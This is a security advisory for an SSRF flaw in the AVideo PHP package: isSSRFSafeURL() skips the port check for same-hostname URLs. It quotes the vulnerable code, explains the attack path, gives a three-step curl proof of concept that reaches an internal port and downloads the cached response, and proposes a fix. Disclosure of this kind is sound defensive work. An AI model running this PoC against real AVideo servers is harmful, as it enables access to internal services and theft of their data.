SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL

High **DanielnetoDotCom** published **GHSA-j432-4w3j-3w8j** last week

Package

php **wwbn/avideo** (Composer)

Affected versions

<= 29.0

Patched versions

None

Description

Summary

The `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site's public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration.

Details

Commit `40872e529` fixed an extension-based SSRF bypass by making `isSSRFSafeURL()` unconditional. However, `isSSRFSafeURL()` itself contains a same-domain shortcircuit that returns `true` when the URL's hostname matches `webSiteRootURL`'s hostname, without validating the port:

```
// objects/functions.php:4290-4296
if (!empty($global['webSiteRootURL'])) {
    $siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
    if ($host === $siteHost) {
        _error_log("isSSRFSafeURL: allowing same-domain request to {$host} (matches webS
        return true;  // Returns immediately — port, path, scheme all unchecked
```

```
    }
}
```

The attack flow through `objects/aVideoEncoder.json.php`:

1. User-supplied `$_REQUEST['downloadURL']` is passed to `downloadVideoFromDownloadURL()` at line 166
2. `isSSRFSafeURL()` is called at line 368 — passes due to hostname match
3. `url_get_contents($downloadURL)` fetches the attacker-controlled URL at line 378
4. Response is written to `Video::getStoragePath() . "cache/tmpFile/" . basename($downloadURL)` at line 393-395

The `cache/tmpFile/` directory is under the web-accessible videos storage path. The attacker can retrieve the file to exfiltrate the internal service response.

The auth requirement is `User::canUpload()` (line 59), which is satisfied by any authenticated user with upload permission. Alternatively, a valid `video_id_hash` (a per-video token) can be used via `useVideoHashOrLogin()` at line 57.

PoC

Assuming the AVideo instance is at `https://avideo.example.com/` and an internal service runs on port 9998:

```
# Step 1: Authenticate and get cookies (any user with upload permission)
curl -c cookies.txt -X POST 'https://avideo.example.com/objects/login.json.php' \
  -d 'user=testuser&pass=testpass'

# Step 2: Send SSRF request targeting port 9998 on the same host
# The hostname matches webSiteRootURL so isSSRFSafeURL() returns true
curl -b cookies.txt -X POST 'https://avideo.example.com/objects/aVideoEncoder.json.php'
  -d 'format=mp4&downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4&

# Step 3: Retrieve the exfiltrated response
# The file is saved to cache/tmpFile/ with the basename of the URL
curl 'https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4' -o re
```

Note: The internal service response must be >= 20KB (or >= 5KB if the URL ends in `.mp3`) to pass the size check at line 384. For smaller responses, the attacker can target endpoints that return verbose output or append padding parameters.

The fix at `40872e529` specifically mentions blocking `http://127.0.0.1:9998/probe.mp4`. This bypass reaches the exact same internal service by replacing `127.0.0.1` with the site's public hostname — the DNS resolution points to the same server.

Impact

- **Internal service access**: An authenticated attacker can reach any TCP port on the AVideo server that speaks HTTP, including databases with HTTP interfaces, monitoring endpoints, admin panels, cloud metadata services (if the hostname resolves to a cloud instance), and other co-hosted services.
- **Data exfiltration**: Response bodies are written to a web-accessible directory, allowing the attacker to retrieve internal service responses.
- **Scope change**: The vulnerability crosses from the AVideo application into other services on the same host, justifying S:C in CVSS scoring.
- **Bypass of existing fix**: This directly circumvents the SSRF protection added in commit `40872e529`.

Recommended Fix

The same-domain shortcircuit should validate that both the hostname and port match `webSiteRootURL`. Replace `objects/functions.php` lines 4290-4296:

```
// Allow same-domain requests ONLY if hostname AND port match webSiteRootURL
if (!empty($global['webSiteRootURL'])) {
    $siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
    $sitePort = parse_url($global['webSiteRootURL'], PHP_URL_PORT);
    $siteScheme = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_SCHEME));
    // Default port based on scheme if not explicitly set
    if (empty($sitePort)) {
        $sitePort = ($siteScheme === 'https') ? 443 : 80;
    }

    $urlPort = parse_url($url, PHP_URL_PORT);
    $urlScheme = strtolower(parse_url($url, PHP_URL_SCHEME));
    if (empty($urlPort)) {
        $urlPort = ($urlScheme === 'https') ? 443 : 80;
    }

    if ($host === $siteHost && $urlPort === $sitePort) {
        _error_log("isSSRFSafeURL: allowing same-domain request to {$host}:{$urlPort} (m
        return true;
    }
}
```

This ensures the shortcircuit only fires for requests to the exact same origin (scheme-implied port or explicit port) as the configured site URL.

Severity

High 7.7 / 10

CVSS v3 base metrics

Attack vector	Network
Attack complexity	Low
Privileges required	Low
User interaction	None
Scope	Changed
Confidentiality	High
Integrity	None
Availability	None

Learn more about base metrics

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N

CVE ID

CVE-2026-41060

Weaknesses

▶ CWE-918

Credits

 **offset** Reporter